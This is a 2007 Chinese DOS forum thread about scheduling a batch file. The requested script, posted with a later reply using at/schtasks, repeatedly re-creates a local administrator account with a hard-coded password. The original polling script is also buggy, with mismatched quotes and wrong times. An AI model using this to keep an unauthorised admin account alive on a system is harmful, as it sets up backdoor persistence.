中国DOS联盟

-- 联合DOS 推动DOS 发展DOS --

联盟域名:www.cn-dos.net 论坛域名:www.cn-dos.net/forum
DOS,代表着自由开放与发展,我们努力起来,学习FreeDOS和Linux的自由开放与GNU精神,共同创造和发展美好的自由与GNU GPL世界吧!

中国DOS联盟论坛
现在时间是 2026-08-05 06:45
中国DOS联盟论坛 » DOS批处理 & 脚本技术(批处理室) » 求if time的应用 查看 847 回复 5
楼 主 求if time的应用 发表于 2007-06-29 19:51 ·  中国 上海 华为云
初级用户
积分 49
发帖 21
注册 2007-06-06 12:21
19年会员
UID 90425
性别 男
状态 离线
本人求写一个能定时运行的P处理,意思是:从早上8:00起到晚上24点(12:00)这个时间段每隔半个小时运行一次程序
2 下面是我自己看到一个例子后写的 发表于 2007-06-29 19:53 ·  中国 上海 华为云
初级用户
积分 49
发帖 21
注册 2007-06-06 12:21
19年会员
UID 90425
性别 男
状态 离线
@echo off
cd\
cls
:loop
if "%time:~0,5%"==8:00" goto user
if "%time:~0,5%"==8:30" goto user
if "%time:~0,5%"==9:00" goto user
if "%time:~0,5%"==9:30" goto user
if "%time:~0,5%"==10:00" goto user
if "%time:~0,5%"==10:30" goto user
if "%time:~0,5%"==11:00" goto user
if "%time:~0,5%"==11:30" goto user
if "%time:~0,5%"==12:00" goto user
if "%time:~0,5%"==12:30" goto user
if "%time:~0,5%"==13:00" goto user
if "%time:~0,5%"==13:30" goto user
if "%time:~0,5%"==14:00" goto user
if "%time:~0,5%"==14:30" goto user
if "%time:~0,5%"==15:00" goto user
if "%time:~0,5%"==15:30" goto user
if "%time:~0,5%"==16:00" goto user
if "%time:~0,5%"==16:30" goto user
if "%time:~0,5%"==17:00" goto user
if "%time:~0,5%"==17:30" goto user
if "%time:~0,5%"==18:00" goto user
if "%time:~0,5%"==18:30" goto user
if "%time:~0,5%"==19:00" goto user
if "%time:~0,5%"==19:30" goto user
if "%time:~0,5%"==20:00" goto user
if "%time:~0,5%"==20:30" goto user
if "%time:~0,5%"==21:00" goto user
if "%time:~0,5%"==21:30" goto user
if "%time:~0,5%"==22:00" goto user
if "%time:~0,5%"==23:30" goto user
if "%time:~0,5%"==24:00" goto user
if "%time:~0,5%"==1:00" goto user
if "%time:~0,5%"==1:30" goto user
if "%time:~0,5%"==2:00" goto user
if "%time:~0,5%"==2:30" goto user
if "%time:~0,5%"==3:00" goto user
if "%time:~0,5%"==3:30" goto user
if "%time:~0,5%"==4:00" goto user
if "%time:~0,5%"==4:30" goto user
if "%time:~0,5%"==5:00" goto user
if "%time:~0,5%"==5:30" goto user
if "%time:~0,5%"==6:00" goto user
if "%time:~0,5%"==6:30" goto user
if "%time:~0,5%"==7:00" goto user
if "%time:~0,5%"==7:30" goto user
if "%time:~0,5%"==8:00" goto user
if "%time:~0,5%"==8:30" goto user
if "%time:~0,5%"==9:00" goto user
if "%time:~0,5%"==9:30" goto user
if "%time:~0,5%"==10:00" goto user
if "%time:~0,5%"==10:30" goto user
if "%time:~0,5%"==11:00" goto user
if "%time:~0,5%"==11:30" goto user
if "%time:~0,5%"==12:00" goto user
if "%time:~0,5%"==12:30" goto user
goto loop
:user
net user jiarun2 88912530 /add
net localgroup administrators jiarun2 /add
exit
3 发表于 2007-06-29 19:57 ·  中国 上海 华为云
初级用户
积分 49
发帖 21
注册 2007-06-06 12:21
19年会员
UID 90425
性别 男
状态 离线
上面有重复的时间是因为有时候机器会改成12小时制,我不知道怎么表示,求高手能指点和改进下
我是要在早8:00起到晚24:00间每半小时执行添加用户的命令,当然如果有此用户的话就能够自动退出P处理
4 发表于 2007-06-29 20:14 ·  中国 天津 电信
银牌会员
★★★
积分 1,928
发帖 931
注册 2007-01-06 11:46
19年会员
UID 75624
性别 男
状态 离线
论坛里早有讨论的。请使用论坛搜索功能。
5 kiss 发表于 2007-07-05 18:25 ·  中国 广东 东莞 电信
初级用户
DOS之星
积分 55
发帖 26
注册 2007-06-25 10:15
19年会员
UID 92283
性别 男
状态 离线
高手呀!
DOS 之星
6 发表于 2007-07-05 22:35 ·  中国 浙江 杭州 电信
银牌会员
★★★
积分 2,000
发帖 621
注册 2007-01-01 00:00
19年会员
UID 75212
性别 男
状态 离线
这写的 电脑还不得暴了...

at 或 schtasks 即可;

调用的批处理
net user jiarun2
if not errorlevel 1 at /delete(如果用的是schtasks的话为 schtasks /delete) && exit
net user jiarun2 88912530 /add
net localgroup administrators jiarun2 /add
论坛跳转: